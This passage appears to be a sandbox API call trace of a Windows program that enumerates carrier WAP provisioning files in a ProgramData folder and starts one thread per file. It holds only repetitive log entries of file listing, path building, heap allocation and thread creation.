Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.023] wcscat (in: _Dest=0x2f9b608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.023] wcscat (in: _Dest=0x2f9b608, _Source="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0182.024] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="589__C~1.PRO")) returned 1 [0182.024] wcscmp (_String1="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.024] wcscmp (_String1="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a2d0 [0182.024] wcscpy (in: _Dest=0x2f9a2d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.024] wcscat (in: _Dest=0x2f9a2d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.024] wcscat (in: _Dest=0x2f9a2d0, _Source="589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0182.024] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="58__CO~1.PRO")) returned 1 [0182.024] wcscmp (_String1="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.025] wcscmp (_String1="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b750 [0182.025] wcscpy (in: _Dest=0x2f9b750, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.025] wcscat (in: _Dest=0x2f9b750, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.025] wcscat (in: _Dest=0x2f9b750, _Source="58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" [0182.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0182.025] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="590__C~1.PRO")) returned 1 [0182.025] wcscmp (_String1="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.025] wcscmp (_String1="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a560 [0182.025] wcscpy (in: _Dest=0x2f9a560, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.025] wcscat (in: _Dest=0x2f9a560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.025] wcscat (in: _Dest=0x2f9a560, _Source="590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0182.026] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="591__C~1.PRO")) returned 1 [0182.026] wcscmp (_String1="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.026] wcscmp (_String1="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.026] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b898 [0182.026] wcscpy (in: _Dest=0x2f9b898, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.026] wcscat (in: _Dest=0x2f9b898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.026] wcscat (in: _Dest=0x2f9b898, _Source="591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\591__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0182.027] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="592__C~1.PRO")) returned 1 [0182.032] wcscmp (_String1="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.032] wcscmp (_String1="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a7f0 [0182.032] wcscpy (in: _Dest=0x2f9a7f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.032] wcscat (in: _Dest=0x2f9a7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.032] wcscat (in: _Dest=0x2f9a7f0, _Source="592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\592__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0182.033] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9155b4d3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9155b4d3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9155b4d3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="593__C~1.PRO")) returned 1 [0182.033] wcscmp (_String1="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.033] wcscmp (_String1="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9ad10 [0182.033] wcscpy (in: _Dest=0x2f9ad10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.033] wcscat (in: _Dest=0x2f9ad10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.033] wcscat (in: _Dest=0x2f9ad10, _Source="593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\593__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0182.034] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="594__C~1.PRO")) returned 1 [0182.034] wcscmp (_String1="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.034] wcscmp (_String1="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a188 [0182.034] wcscpy (in: _Dest=0x2f9a188, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.034] wcscat (in: _Dest=0x2f9a188, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.034] wcscat (in: _Dest=0x2f9a188, _Source="594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\594__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0182.035] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="595__C~1.PRO")) returned 1 [0182.035] wcscmp (_String1="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.035] wcscmp (_String1="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f99c68 [0182.035] wcscpy (in: _Dest=0x2f99c68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.035] wcscat (in: _Dest=0x2f99c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.035] wcscat (in: _Dest=0x2f99c68, _Source="595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0182.036] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="596__C~1.PRO")) returned 1 [0182.036] wcscmp (_String1="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.036] wcscmp (_String1="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.036] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f99db0 [0182.036] wcscpy (in: _Dest=0x2f99db0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.036] wcscat (in: _Dest=0x2f99db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.036] wcscat (in: _Dest=0x2f99db0, _Source="596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\596__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0182.037] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91581742, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91581742, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91581742, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="597__C~1.PRO")) returned 1 [0182.037] wcscmp (_String1="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.037] wcscmp (_String1="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9a418 [0182.037] wcscpy (in: _Dest=0x2f9a418, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.037] wcscat (in: _Dest=0x2f9a418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.037] wcscat (in: _Dest=0x2f9a418, _Source="597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\597__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9a418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0182.037] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915a79aa, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915a79aa, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915a79aa, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="598__C~1.PRO")) returned 1 [0182.037] wcscmp (_String1="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.037] wcscmp (_String1="598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.038] RtlAllocateHeap 